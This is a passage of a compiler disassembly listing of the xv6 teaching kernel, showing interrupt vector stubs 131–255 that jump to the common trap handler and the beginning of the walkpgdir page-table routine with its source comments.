<alltraps> 80105daa <vector131>: .globl vector131 vector131: pushl $0 80105daa: 6a 00 push $0x0 pushl $131 80105dac: 68 83 00 00 00 push $0x83 jmp alltraps 80105db1: e9 47 f6 ff ff jmp 801053fd <alltraps> 80105db6 <vector132>: .globl vector132 vector132: pushl $0 80105db6: 6a 00 push $0x0 pushl $132 80105db8: 68 84 00 00 00 push $0x84 jmp alltraps 80105dbd: e9 3b f6 ff ff jmp 801053fd <alltraps> 80105dc2 <vector133>: .globl vector133 vector133: pushl $0 80105dc2: 6a 00 push $0x0 pushl $133 80105dc4: 68 85 00 00 00 push $0x85 jmp alltraps 80105dc9: e9 2f f6 ff ff jmp 801053fd <alltraps> 80105dce <vector134>: .globl vector134 vector134: pushl $0 80105dce: 6a 00 push $0x0 pushl $134 80105dd0: 68 86 00 00 00 push $0x86 jmp alltraps 80105dd5: e9 23 f6 ff ff jmp 801053fd <alltraps> 80105dda <vector135>: .globl vector135 vector135: pushl $0 80105dda: 6a 00 push $0x0 pushl $135 80105ddc: 68 87 00 00 00 push $0x87 jmp alltraps 80105de1: e9 17 f6 ff ff jmp 801053fd <alltraps> 80105de6 <vector136>: .globl vector136 vector136: pushl $0 80105de6: 6a 00 push $0x0 pushl $136 80105de8: 68 88 00 00 00 push $0x88 jmp alltraps 80105ded: e9 0b f6 ff ff jmp 801053fd <alltraps> 80105df2 <vector137>: .globl vector137 vector137: pushl $0 80105df2: 6a 00 push $0x0 pushl $137 80105df4: 68 89 00 00 00 push $0x89 jmp alltraps 80105df9: e9 ff f5 ff ff jmp 801053fd <alltraps> 80105dfe <vector138>: .globl vector138 vector138: pushl $0 80105dfe: 6a 00 push $0x0 pushl $138 80105e00: 68 8a 00 00 00 push $0x8a jmp alltraps 80105e05: e9 f3 f5 ff ff jmp 801053fd <alltraps> 80105e0a <vector139>: .globl vector139 vector139: pushl $0 80105e0a: 6a 00 push $0x0 pushl $139 80105e0c: 68 8b 00 00 00 push $0x8b jmp alltraps 80105e11: e9 e7 f5 ff ff jmp 801053fd <alltraps> 80105e16 <vector140>: .globl vector140 vector140: pushl $0 80105e16: 6a 00 push $0x0 pushl $140 80105e18: 68 8c 00 00 00 push $0x8c jmp alltraps 80105e1d: e9 db f5 ff ff jmp 801053fd <alltraps> 80105e22 <vector141>: .globl vector141 vector141: pushl $0 80105e22: 6a 00 push $0x0 pushl $141 80105e24: 68 8d 00 00 00 push $0x8d jmp alltraps 80105e29: e9 cf f5 ff ff jmp 801053fd <alltraps> 80105e2e <vector142>: .globl vector142 vector142: pushl $0 80105e2e: 6a 00 push $0x0 pushl $142 80105e30: 68 8e 00 00 00 push $0x8e jmp alltraps 80105e35: e9 c3 f5 ff ff jmp 801053fd <alltraps> 80105e3a <vector143>: .globl vector143 vector143: pushl $0 80105e3a: 6a 00 push $0x0 pushl $143 80105e3c: 68 8f 00 00 00 push $0x8f jmp alltraps 80105e41: e9 b7 f5 ff ff jmp 801053fd <alltraps> 80105e46 <vector144>: .globl vector144 vector144: pushl $0 80105e46: 6a 00 push $0x0 pushl $144 80105e48: 68 90 00 00 00 push $0x90 jmp alltraps 80105e4d: e9 ab f5 ff ff jmp 801053fd <alltraps> 80105e52 <vector145>: .globl vector145 vector145: pushl $0 80105e52: 6a 00 push $0x0 pushl $145 80105e54: 68 91 00 00 00 push $0x91 jmp alltraps 80105e59: e9 9f f5 ff ff jmp 801053fd <alltraps> 80105e5e <vector146>: .globl vector146 vector146: pushl $0 80105e5e: 6a 00 push $0x0 pushl $146 80105e60: 68 92 00 00 00 push $0x92 jmp alltraps 80105e65: e9 93 f5 ff ff jmp 801053fd <alltraps> 80105e6a <vector147>: .globl vector147 vector147: pushl $0 80105e6a: 6a 00 push $0x0 pushl $147 80105e6c: 68 93 00 00 00 push $0x93 jmp alltraps 80105e71: e9 87 f5 ff ff jmp 801053fd <alltraps> 80105e76 <vector148>: .globl vector148 vector148: pushl $0 80105e76: 6a 00 push $0x0 pushl $148 80105e78: 68 94 00 00 00 push $0x94 jmp alltraps 80105e7d: e9 7b f5 ff ff jmp 801053fd <alltraps> 80105e82 <vector149>: .globl vector149 vector149: pushl $0 80105e82: 6a 00 push $0x0 pushl $149 80105e84: 68 95 00 00 00 push $0x95 jmp alltraps 80105e89: e9 6f f5 ff ff jmp 801053fd <alltraps> 80105e8e <vector150>: .globl vector150 vector150: pushl $0 80105e8e: 6a 00 push $0x0 pushl $150 80105e90: 68 96 00 00 00 push $0x96 jmp alltraps 80105e95: e9 63 f5 ff ff jmp 801053fd <alltraps> 80105e9a <vector151>: .globl vector151 vector151: pushl $0 80105e9a: 6a 00 push $0x0 pushl $151 80105e9c: 68 97 00 00 00 push $0x97 jmp alltraps 80105ea1: e9 57 f5 ff ff jmp 801053fd <alltraps> 80105ea6 <vector152>: .globl vector152 vector152: pushl $0 80105ea6: 6a 00 push $0x0 pushl $152 80105ea8: 68 98 00 00 00 push $0x98 jmp alltraps 80105ead: e9 4b f5 ff ff jmp 801053fd <alltraps> 80105eb2 <vector153>: .globl vector153 vector153: pushl $0 80105eb2: 6a 00 push $0x0 pushl $153 80105eb4: 68 99 00 00 00 push $0x99 jmp alltraps 80105eb9: e9 3f f5 ff ff jmp 801053fd <alltraps> 80105ebe <vector154>: .globl vector154 vector154: pushl $0 80105ebe: 6a 00 push $0x0 pushl $154 80105ec0: 68 9a 00 00 00 push $0x9a jmp alltraps 80105ec5: e9 33 f5 ff ff jmp 801053fd <alltraps> 80105eca <vector155>: .globl vector155 vector155: pushl $0 80105eca: 6a 00 push $0x0 pushl $155 80105ecc: 68 9b 00 00 00 push $0x9b jmp alltraps 80105ed1: e9 27 f5 ff ff jmp 801053fd <alltraps> 80105ed6 <vector156>: .globl vector156 vector156: pushl $0 80105ed6: 6a 00 push $0x0 pushl $156 80105ed8: 68 9c 00 00 00 push $0x9c jmp alltraps 80105edd: e9 1b f5 ff ff jmp 801053fd <alltraps> 80105ee2 <vector157>: .globl vector157 vector157: pushl $0 80105ee2: 6a 00 push $0x0 pushl $157 80105ee4: 68 9d 00 00 00 push $0x9d jmp alltraps 80105ee9: e9 0f f5 ff ff jmp 801053fd <alltraps> 80105eee <vector158>: .globl vector158 vector158: pushl $0 80105eee: 6a 00 push $0x0 pushl $158 80105ef0: 68 9e 00 00 00 push $0x9e jmp alltraps 80105ef5: e9 03 f5 ff ff jmp 801053fd <alltraps> 80105efa <vector159>: .globl vector159 vector159: pushl $0 80105efa: 6a 00 push $0x0 pushl $159 80105efc: 68 9f 00 00 00 push $0x9f jmp alltraps 80105f01: e9 f7 f4 ff ff jmp 801053fd <alltraps> 80105f06 <vector160>: .globl vector160 vector160: pushl $0 80105f06: 6a 00 push $0x0 pushl $160 80105f08: 68 a0 00 00 00 push $0xa0 jmp alltraps 80105f0d: e9 eb f4 ff ff jmp 801053fd <alltraps> 80105f12 <vector161>: .globl vector161 vector161: pushl $0 80105f12: 6a 00 push $0x0 pushl $161 80105f14: 68 a1 00 00 00 push $0xa1 jmp alltraps 80105f19: e9 df f4 ff ff jmp 801053fd <alltraps> 80105f1e <vector162>: .globl vector162 vector162: pushl $0 80105f1e: 6a 00 push $0x0 pushl $162 80105f20: 68 a2 00 00 00 push $0xa2 jmp alltraps 80105f25: e9 d3 f4 ff ff jmp 801053fd <alltraps> 80105f2a <vector163>: .globl vector163 vector163: pushl $0 80105f2a: 6a 00 push $0x0 pushl $163 80105f2c: 68 a3 00 00 00 push $0xa3 jmp alltraps 80105f31: e9 c7 f4 ff ff jmp 801053fd <alltraps> 80105f36 <vector164>: .globl vector164 vector164: pushl $0 80105f36: 6a 00 push $0x0 pushl $164 80105f38: 68 a4 00 00 00 push $0xa4 jmp alltraps 80105f3d: e9 bb f4 ff ff jmp 801053fd <alltraps> 80105f42 <vector165>: .globl vector165 vector165: pushl $0 80105f42: 6a 00 push $0x0 pushl $165 80105f44: 68 a5 00 00 00 push $0xa5 jmp alltraps 80105f49: e9 af f4 ff ff jmp 801053fd <alltraps> 80105f4e <vector166>: .globl vector166 vector166: pushl $0 80105f4e: 6a 00 push $0x0 pushl $166 80105f50: 68 a6 00 00 00 push $0xa6 jmp alltraps 80105f55: e9 a3 f4 ff ff jmp 801053fd <alltraps> 80105f5a <vector167>: .globl vector167 vector167: pushl $0 80105f5a: 6a 00 push $0x0 pushl $167 80105f5c: 68 a7 00 00 00 push $0xa7 jmp alltraps 80105f61: e9 97 f4 ff ff jmp 801053fd <alltraps> 80105f66 <vector168>: .globl vector168 vector168: pushl $0 80105f66: 6a 00 push $0x0 pushl $168 80105f68: 68 a8 00 00 00 push $0xa8 jmp alltraps 80105f6d: e9 8b f4 ff ff jmp 801053fd <alltraps> 80105f72 <vector169>: .globl vector169 vector169: pushl $0 80105f72: 6a 00 push $0x0 pushl $169 80105f74: 68 a9 00 00 00 push $0xa9 jmp alltraps 80105f79: e9 7f f4 ff ff jmp 801053fd <alltraps> 80105f7e <vector170>: .globl vector170 vector170: pushl $0 80105f7e: 6a 00 push $0x0 pushl $170 80105f80: 68 aa 00 00 00 push $0xaa jmp alltraps 80105f85: e9 73 f4 ff ff jmp 801053fd <alltraps> 80105f8a <vector171>: .globl vector171 vector171: pushl $0 80105f8a: 6a 00 push $0x0 pushl $171 80105f8c: 68 ab 00 00 00 push $0xab jmp alltraps 80105f91: e9 67 f4 ff ff jmp 801053fd <alltraps> 80105f96 <vector172>: .globl vector172 vector172: pushl $0 80105f96: 6a 00 push $0x0 pushl $172 80105f98: 68 ac 00 00 00 push $0xac jmp alltraps 80105f9d: e9 5b f4 ff ff jmp 801053fd <alltraps> 80105fa2 <vector173>: .globl vector173 vector173: pushl $0 80105fa2: 6a 00 push $0x0 pushl $173 80105fa4: 68 ad 00 00 00 push $0xad jmp alltraps 80105fa9: e9 4f f4 ff ff jmp 801053fd <alltraps> 80105fae <vector174>: .globl vector174 vector174: pushl $0 80105fae: 6a 00 push $0x0 pushl $174 80105fb0: 68 ae 00 00 00 push $0xae jmp alltraps 80105fb5: e9 43 f4 ff ff jmp 801053fd <alltraps> 80105fba <vector175>: .globl vector175 vector175: pushl $0 80105fba: 6a 00 push $0x0 pushl $175 80105fbc: 68 af 00 00 00 push $0xaf jmp alltraps 80105fc1: e9 37 f4 ff ff jmp 801053fd <alltraps> 80105fc6 <vector176>: .globl vector176 vector176: pushl $0 80105fc6: 6a 00 push $0x0 pushl $176 80105fc8: 68 b0 00 00 00 push $0xb0 jmp alltraps 80105fcd: e9 2b f4 ff ff jmp 801053fd <alltraps> 80105fd2 <vector177>: .globl vector177 vector177: pushl $0 80105fd2: 6a 00 push $0x0 pushl $177 80105fd4: 68 b1 00 00 00 push $0xb1 jmp alltraps 80105fd9: e9 1f f4 ff ff jmp 801053fd <alltraps> 80105fde <vector178>: .globl vector178 vector178: pushl $0 80105fde: 6a 00 push $0x0 pushl $178 80105fe0: 68 b2 00 00 00 push $0xb2 jmp alltraps 80105fe5: e9 13 f4 ff ff jmp 801053fd <alltraps> 80105fea <vector179>: .globl vector179 vector179: pushl $0 80105fea: 6a 00 push $0x0 pushl $179 80105fec: 68 b3 00 00 00 push $0xb3 jmp alltraps 80105ff1: e9 07 f4 ff ff jmp 801053fd <alltraps> 80105ff6 <vector180>: .globl vector180 vector180: pushl $0 80105ff6: 6a 00 push $0x0 pushl $180 80105ff8: 68 b4 00 00 00 push $0xb4 jmp alltraps 80105ffd: e9 fb f3 ff ff jmp 801053fd <alltraps> 80106002 <vector181>: .globl vector181 vector181: pushl $0 80106002: 6a 00 push $0x0 pushl $181 80106004: 68 b5 00 00 00 push $0xb5 jmp alltraps 80106009: e9 ef f3 ff ff jmp 801053fd <alltraps> 8010600e <vector182>: .globl vector182 vector182: pushl $0 8010600e: 6a 00 push $0x0 pushl $182 80106010: 68 b6 00 00 00 push $0xb6 jmp alltraps 80106015: e9 e3 f3 ff ff jmp 801053fd <alltraps> 8010601a <vector183>: .globl vector183 vector183: pushl $0 8010601a: 6a 00 push $0x0 pushl $183 8010601c: 68 b7 00 00 00 push $0xb7 jmp alltraps 80106021: e9 d7 f3 ff ff jmp 801053fd <alltraps> 80106026 <vector184>: .globl vector184 vector184: pushl $0 80106026: 6a 00 push $0x0 pushl $184 80106028: 68 b8 00 00 00 push $0xb8 jmp alltraps 8010602d: e9 cb f3 ff ff jmp 801053fd <alltraps> 80106032 <vector185>: .globl vector185 vector185: pushl $0 80106032: 6a 00 push $0x0 pushl $185 80106034: 68 b9 00 00 00 push $0xb9 jmp alltraps 80106039: e9 bf f3 ff ff jmp 801053fd <alltraps> 8010603e <vector186>: .globl vector186 vector186: pushl $0 8010603e: 6a 00 push $0x0 pushl $186 80106040: 68 ba 00 00 00 push $0xba jmp alltraps 80106045: e9 b3 f3 ff ff jmp 801053fd <alltraps> 8010604a <vector187>: .globl vector187 vector187: pushl $0 8010604a: 6a 00 push $0x0 pushl $187 8010604c: 68 bb 00 00 00 push $0xbb jmp alltraps 80106051: e9 a7 f3 ff ff jmp 801053fd <alltraps> 80106056 <vector188>: .globl vector188 vector188: pushl $0 80106056: 6a 00 push $0x0 pushl $188 80106058: 68 bc 00 00 00 push $0xbc jmp alltraps 8010605d: e9 9b f3 ff ff jmp 801053fd <alltraps> 80106062 <vector189>: .globl vector189 vector189: pushl $0 80106062: 6a 00 push $0x0 pushl $189 80106064: 68 bd 00 00 00 push $0xbd jmp alltraps 80106069: e9 8f f3 ff ff jmp 801053fd <alltraps> 8010606e <vector190>: .globl vector190 vector190: pushl $0 8010606e: 6a 00 push $0x0 pushl $190 80106070: 68 be 00 00 00 push $0xbe jmp alltraps 80106075: e9 83 f3 ff ff jmp 801053fd <alltraps> 8010607a <vector191>: .globl vector191 vector191: pushl $0 8010607a: 6a 00 push $0x0 pushl $191 8010607c: 68 bf 00 00 00 push $0xbf jmp alltraps 80106081: e9 77 f3 ff ff jmp 801053fd <alltraps> 80106086 <vector192>: .globl vector192 vector192: pushl $0 80106086: 6a 00 push $0x0 pushl $192 80106088: 68 c0 00 00 00 push $0xc0 jmp alltraps 8010608d: e9 6b f3 ff ff jmp 801053fd <alltraps> 80106092 <vector193>: .globl vector193 vector193: pushl $0 80106092: 6a 00 push $0x0 pushl $193 80106094: 68 c1 00 00 00 push $0xc1 jmp alltraps 80106099: e9 5f f3 ff ff jmp 801053fd <alltraps> 8010609e <vector194>: .globl vector194 vector194: pushl $0 8010609e: 6a 00 push $0x0 pushl $194 801060a0: 68 c2 00 00 00 push $0xc2 jmp alltraps 801060a5: e9 53 f3 ff ff jmp 801053fd <alltraps> 801060aa <vector195>: .globl vector195 vector195: pushl $0 801060aa: 6a 00 push $0x0 pushl $195 801060ac: 68 c3 00 00 00 push $0xc3 jmp alltraps 801060b1: e9 47 f3 ff ff jmp 801053fd <alltraps> 801060b6 <vector196>: .globl vector196 vector196: pushl $0 801060b6: 6a 00 push $0x0 pushl $196 801060b8: 68 c4 00 00 00 push $0xc4 jmp alltraps 801060bd: e9 3b f3 ff ff jmp 801053fd <alltraps> 801060c2 <vector197>: .globl vector197 vector197: pushl $0 801060c2: 6a 00 push $0x0 pushl $197 801060c4: 68 c5 00 00 00 push $0xc5 jmp alltraps 801060c9: e9 2f f3 ff ff jmp 801053fd <alltraps> 801060ce <vector198>: .globl vector198 vector198: pushl $0 801060ce: 6a 00 push $0x0 pushl $198 801060d0: 68 c6 00 00 00 push $0xc6 jmp alltraps 801060d5: e9 23 f3 ff ff jmp 801053fd <alltraps> 801060da <vector199>: .globl vector199 vector199: pushl $0 801060da: 6a 00 push $0x0 pushl $199 801060dc: 68 c7 00 00 00 push $0xc7 jmp alltraps 801060e1: e9 17 f3 ff ff jmp 801053fd <alltraps> 801060e6 <vector200>: .globl vector200 vector200: pushl $0 801060e6: 6a 00 push $0x0 pushl $200 801060e8: 68 c8 00 00 00 push $0xc8 jmp alltraps 801060ed: e9 0b f3 ff ff jmp 801053fd <alltraps> 801060f2 <vector201>: .globl vector201 vector201: pushl $0 801060f2: 6a 00 push $0x0 pushl $201 801060f4: 68 c9 00 00 00 push $0xc9 jmp alltraps 801060f9: e9 ff f2 ff ff jmp 801053fd <alltraps> 801060fe <vector202>: .globl vector202 vector202: pushl $0 801060fe: 6a 00 push $0x0 pushl $202 80106100: 68 ca 00 00 00 push $0xca jmp alltraps 80106105: e9 f3 f2 ff ff jmp 801053fd <alltraps> 8010610a <vector203>: .globl vector203 vector203: pushl $0 8010610a: 6a 00 push $0x0 pushl $203 8010610c: 68 cb 00 00 00 push $0xcb jmp alltraps 80106111: e9 e7 f2 ff ff jmp 801053fd <alltraps> 80106116 <vector204>: .globl vector204 vector204: pushl $0 80106116: 6a 00 push $0x0 pushl $204 80106118: 68 cc 00 00 00 push $0xcc jmp alltraps 8010611d: e9 db f2 ff ff jmp 801053fd <alltraps> 80106122 <vector205>: .globl vector205 vector205: pushl $0 80106122: 6a 00 push $0x0 pushl $205 80106124: 68 cd 00 00 00 push $0xcd jmp alltraps 80106129: e9 cf f2 ff ff jmp 801053fd <alltraps> 8010612e <vector206>: .globl vector206 vector206: pushl $0 8010612e: 6a 00 push $0x0 pushl $206 80106130: 68 ce 00 00 00 push $0xce jmp alltraps 80106135: e9 c3 f2 ff ff jmp 801053fd <alltraps> 8010613a <vector207>: .globl vector207 vector207: pushl $0 8010613a: 6a 00 push $0x0 pushl $207 8010613c: 68 cf 00 00 00 push $0xcf jmp alltraps 80106141: e9 b7 f2 ff ff jmp 801053fd <alltraps> 80106146 <vector208>: .globl vector208 vector208: pushl $0 80106146: 6a 00 push $0x0 pushl $208 80106148: 68 d0 00 00 00 push $0xd0 jmp alltraps 8010614d: e9 ab f2 ff ff jmp 801053fd <alltraps> 80106152 <vector209>: .globl vector209 vector209: pushl $0 80106152: 6a 00 push $0x0 pushl $209 80106154: 68 d1 00 00 00 push $0xd1 jmp alltraps 80106159: e9 9f f2 ff ff jmp 801053fd <alltraps> 8010615e <vector210>: .globl vector210 vector210: pushl $0 8010615e: 6a 00 push $0x0 pushl $210 80106160: 68 d2 00 00 00 push $0xd2 jmp alltraps 80106165: e9 93 f2 ff ff jmp 801053fd <alltraps> 8010616a <vector211>: .globl vector211 vector211: pushl $0 8010616a: 6a 00 push $0x0 pushl $211 8010616c: 68 d3 00 00 00 push $0xd3 jmp alltraps 80106171: e9 87 f2 ff ff jmp 801053fd <alltraps> 80106176 <vector212>: .globl vector212 vector212: pushl $0 80106176: 6a 00 push $0x0 pushl $212 80106178: 68 d4 00 00 00 push $0xd4 jmp alltraps 8010617d: e9 7b f2 ff ff jmp 801053fd <alltraps> 80106182 <vector213>: .globl vector213 vector213: pushl $0 80106182: 6a 00 push $0x0 pushl $213 80106184: 68 d5 00 00 00 push $0xd5 jmp alltraps 80106189: e9 6f f2 ff ff jmp 801053fd <alltraps> 8010618e <vector214>: .globl vector214 vector214: pushl $0 8010618e: 6a 00 push $0x0 pushl $214 80106190: 68 d6 00 00 00 push $0xd6 jmp alltraps 80106195: e9 63 f2 ff ff jmp 801053fd <alltraps> 8010619a <vector215>: .globl vector215 vector215: pushl $0 8010619a: 6a 00 push $0x0 pushl $215 8010619c: 68 d7 00 00 00 push $0xd7 jmp alltraps 801061a1: e9 57 f2 ff ff jmp 801053fd <alltraps> 801061a6 <vector216>: .globl vector216 vector216: pushl $0 801061a6: 6a 00 push $0x0 pushl $216 801061a8: 68 d8 00 00 00 push $0xd8 jmp alltraps 801061ad: e9 4b f2 ff ff jmp 801053fd <alltraps> 801061b2 <vector217>: .globl vector217 vector217: pushl $0 801061b2: 6a 00 push $0x0 pushl $217 801061b4: 68 d9 00 00 00 push $0xd9 jmp alltraps 801061b9: e9 3f f2 ff ff jmp 801053fd <alltraps> 801061be <vector218>: .globl vector218 vector218: pushl $0 801061be: 6a 00 push $0x0 pushl $218 801061c0: 68 da 00 00 00 push $0xda jmp alltraps 801061c5: e9 33 f2 ff ff jmp 801053fd <alltraps> 801061ca <vector219>: .globl vector219 vector219: pushl $0 801061ca: 6a 00 push $0x0 pushl $219 801061cc: 68 db 00 00 00 push $0xdb jmp alltraps 801061d1: e9 27 f2 ff ff jmp 801053fd <alltraps> 801061d6 <vector220>: .globl vector220 vector220: pushl $0 801061d6: 6a 00 push $0x0 pushl $220 801061d8: 68 dc 00 00 00 push $0xdc jmp alltraps 801061dd: e9 1b f2 ff ff jmp 801053fd <alltraps> 801061e2 <vector221>: .globl vector221 vector221: pushl $0 801061e2: 6a 00 push $0x0 pushl $221 801061e4: 68 dd 00 00 00 push $0xdd jmp alltraps 801061e9: e9 0f f2 ff ff jmp 801053fd <alltraps> 801061ee <vector222>: .globl vector222 vector222: pushl $0 801061ee: 6a 00 push $0x0 pushl $222 801061f0: 68 de 00 00 00 push $0xde jmp alltraps 801061f5: e9 03 f2 ff ff jmp 801053fd <alltraps> 801061fa <vector223>: .globl vector223 vector223: pushl $0 801061fa: 6a 00 push $0x0 pushl $223 801061fc: 68 df 00 00 00 push $0xdf jmp alltraps 80106201: e9 f7 f1 ff ff jmp 801053fd <alltraps> 80106206 <vector224>: .globl vector224 vector224: pushl $0 80106206: 6a 00 push $0x0 pushl $224 80106208: 68 e0 00 00 00 push $0xe0 jmp alltraps 8010620d: e9 eb f1 ff ff jmp 801053fd <alltraps> 80106212 <vector225>: .globl vector225 vector225: pushl $0 80106212: 6a 00 push $0x0 pushl $225 80106214: 68 e1 00 00 00 push $0xe1 jmp alltraps 80106219: e9 df f1 ff ff jmp 801053fd <alltraps> 8010621e <vector226>: .globl vector226 vector226: pushl $0 8010621e: 6a 00 push $0x0 pushl $226 80106220: 68 e2 00 00 00 push $0xe2 jmp alltraps 80106225: e9 d3 f1 ff ff jmp 801053fd <alltraps> 8010622a <vector227>: .globl vector227 vector227: pushl $0 8010622a: 6a 00 push $0x0 pushl $227 8010622c: 68 e3 00 00 00 push $0xe3 jmp alltraps 80106231: e9 c7 f1 ff ff jmp 801053fd <alltraps> 80106236 <vector228>: .globl vector228 vector228: pushl $0 80106236: 6a 00 push $0x0 pushl $228 80106238: 68 e4 00 00 00 push $0xe4 jmp alltraps 8010623d: e9 bb f1 ff ff jmp 801053fd <alltraps> 80106242 <vector229>: .globl vector229 vector229: pushl $0 80106242: 6a 00 push $0x0 pushl $229 80106244: 68 e5 00 00 00 push $0xe5 jmp alltraps 80106249: e9 af f1 ff ff jmp 801053fd <alltraps> 8010624e <vector230>: .globl vector230 vector230: pushl $0 8010624e: 6a 00 push $0x0 pushl $230 80106250: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106255: e9 a3 f1 ff ff jmp 801053fd <alltraps> 8010625a <vector231>: .globl vector231 vector231: pushl $0 8010625a: 6a 00 push $0x0 pushl $231 8010625c: 68 e7 00 00 00 push $0xe7 jmp alltraps 80106261: e9 97 f1 ff ff jmp 801053fd <alltraps> 80106266 <vector232>: .globl vector232 vector232: pushl $0 80106266: 6a 00 push $0x0 pushl $232 80106268: 68 e8 00 00 00 push $0xe8 jmp alltraps 8010626d: e9 8b f1 ff ff jmp 801053fd <alltraps> 80106272 <vector233>: .globl vector233 vector233: pushl $0 80106272: 6a 00 push $0x0 pushl $233 80106274: 68 e9 00 00 00 push $0xe9 jmp alltraps 80106279: e9 7f f1 ff ff jmp 801053fd <alltraps> 8010627e <vector234>: .globl vector234 vector234: pushl $0 8010627e: 6a 00 push $0x0 pushl $234 80106280: 68 ea 00 00 00 push $0xea jmp alltraps 80106285: e9 73 f1 ff ff jmp 801053fd <alltraps> 8010628a <vector235>: .globl vector235 vector235: pushl $0 8010628a: 6a 00 push $0x0 pushl $235 8010628c: 68 eb 00 00 00 push $0xeb jmp alltraps 80106291: e9 67 f1 ff ff jmp 801053fd <alltraps> 80106296 <vector236>: .globl vector236 vector236: pushl $0 80106296: 6a 00 push $0x0 pushl $236 80106298: 68 ec 00 00 00 push $0xec jmp alltraps 8010629d: e9 5b f1 ff ff jmp 801053fd <alltraps> 801062a2 <vector237>: .globl vector237 vector237: pushl $0 801062a2: 6a 00 push $0x0 pushl $237 801062a4: 68 ed 00 00 00 push $0xed jmp alltraps 801062a9: e9 4f f1 ff ff jmp 801053fd <alltraps> 801062ae <vector238>: .globl vector238 vector238: pushl $0 801062ae: 6a 00 push $0x0 pushl $238 801062b0: 68 ee 00 00 00 push $0xee jmp alltraps 801062b5: e9 43 f1 ff ff jmp 801053fd <alltraps> 801062ba <vector239>: .globl vector239 vector239: pushl $0 801062ba: 6a 00 push $0x0 pushl $239 801062bc: 68 ef 00 00 00 push $0xef jmp alltraps 801062c1: e9 37 f1 ff ff jmp 801053fd <alltraps> 801062c6 <vector240>: .globl vector240 vector240: pushl $0 801062c6: 6a 00 push $0x0 pushl $240 801062c8: 68 f0 00 00 00 push $0xf0 jmp alltraps 801062cd: e9 2b f1 ff ff jmp 801053fd <alltraps> 801062d2 <vector241>: .globl vector241 vector241: pushl $0 801062d2: 6a 00 push $0x0 pushl $241 801062d4: 68 f1 00 00 00 push $0xf1 jmp alltraps 801062d9: e9 1f f1 ff ff jmp 801053fd <alltraps> 801062de <vector242>: .globl vector242 vector242: pushl $0 801062de: 6a 00 push $0x0 pushl $242 801062e0: 68 f2 00 00 00 push $0xf2 jmp alltraps 801062e5: e9 13 f1 ff ff jmp 801053fd <alltraps> 801062ea <vector243>: .globl vector243 vector243: pushl $0 801062ea: 6a 00 push $0x0 pushl $243 801062ec: 68 f3 00 00 00 push $0xf3 jmp alltraps 801062f1: e9 07 f1 ff ff jmp 801053fd <alltraps> 801062f6 <vector244>: .globl vector244 vector244: pushl $0 801062f6: 6a 00 push $0x0 pushl $244 801062f8: 68 f4 00 00 00 push $0xf4 jmp alltraps 801062fd: e9 fb f0 ff ff jmp 801053fd <alltraps> 80106302 <vector245>: .globl vector245 vector245: pushl $0 80106302: 6a 00 push $0x0 pushl $245 80106304: 68 f5 00 00 00 push $0xf5 jmp alltraps 80106309: e9 ef f0 ff ff jmp 801053fd <alltraps> 8010630e <vector246>: .globl vector246 vector246: pushl $0 8010630e: 6a 00 push $0x0 pushl $246 80106310: 68 f6 00 00 00 push $0xf6 jmp alltraps 80106315: e9 e3 f0 ff ff jmp 801053fd <alltraps> 8010631a <vector247>: .globl vector247 vector247: pushl $0 8010631a: 6a 00 push $0x0 pushl $247 8010631c: 68 f7 00 00 00 push $0xf7 jmp alltraps 80106321: e9 d7 f0 ff ff jmp 801053fd <alltraps> 80106326 <vector248>: .globl vector248 vector248: pushl $0 80106326: 6a 00 push $0x0 pushl $248 80106328: 68 f8 00 00 00 push $0xf8 jmp alltraps 8010632d: e9 cb f0 ff ff jmp 801053fd <alltraps> 80106332 <vector249>: .globl vector249 vector249: pushl $0 80106332: 6a 00 push $0x0 pushl $249 80106334: 68 f9 00 00 00 push $0xf9 jmp alltraps 80106339: e9 bf f0 ff ff jmp 801053fd <alltraps> 8010633e <vector250>: .globl vector250 vector250: pushl $0 8010633e: 6a 00 push $0x0 pushl $250 80106340: 68 fa 00 00 00 push $0xfa jmp alltraps 80106345: e9 b3 f0 ff ff jmp 801053fd <alltraps> 8010634a <vector251>: .globl vector251 vector251: pushl $0 8010634a: 6a 00 push $0x0 pushl $251 8010634c: 68 fb 00 00 00 push $0xfb jmp alltraps 80106351: e9 a7 f0 ff ff jmp 801053fd <alltraps> 80106356 <vector252>: .globl vector252 vector252: pushl $0 80106356: 6a 00 push $0x0 pushl $252 80106358: 68 fc 00 00 00 push $0xfc jmp alltraps 8010635d: e9 9b f0 ff ff jmp 801053fd <alltraps> 80106362 <vector253>: .globl vector253 vector253: pushl $0 80106362: 6a 00 push $0x0 pushl $253 80106364: 68 fd 00 00 00 push $0xfd jmp alltraps 80106369: e9 8f f0 ff ff jmp 801053fd <alltraps> 8010636e <vector254>: .globl vector254 vector254: pushl $0 8010636e: 6a 00 push $0x0 pushl $254 80106370: 68 fe 00 00 00 push $0xfe jmp alltraps 80106375: e9 83 f0 ff ff jmp 801053fd <alltraps> 8010637a <vector255>: .globl vector255 vector255: pushl $0 8010637a: 6a 00 push $0x0 pushl $255 8010637c: 68 ff 00 00 00 push $0xff jmp alltraps 80106381: e9 77 f0 ff ff jmp 801053fd <alltraps> 80106386: 66 90 xchg %ax,%ax 80106388: 66 90 xchg %ax,%ax 8010638a: 66 90 xchg %ax,%ax 8010638c: 66 90 xchg %ax,%ax 8010638e: 66 90 xchg %ax,%ax 80106390 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 80106390: 55 push %ebp 80106391: 89 e5 mov %esp,%ebp 80106393: 57 push %edi 80106394: 56 push %esi 80106395: 89 d6 mov %edx,%esi pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 80106397: c1 ea 16 shr $0x16,%edx { 8010639a: 53 push %ebx pde = &pgdir[PDX(va)]; 8010639b: 8d 3c 90 lea (%eax,%edx,4),%edi { 8010639e: 83 ec 1c sub $0x1c,%esp if(*pde & PTE_P){ 801063a1: 8b 1f mov (%edi),%ebx 801063a3: f6 c3 01 test $0x1,%bl 801063a6: 74 28 je 801063d0 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 801063a8: 81 e3 00 f0 ff ff and $0xfffff000,%ebx 801063ae: 81 c3 00 00 00 80 add $0x80000000,%ebx // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 801063b4: c1 ee 0a shr $0xa,%esi } 801063b7: 83 c4 1c add $0x1c,%esp return &pgtab[PTX(va)]; 801063ba: 89 f2 mov %esi,%edx 801063bc: 81 e2 fc 0f 00 00 and 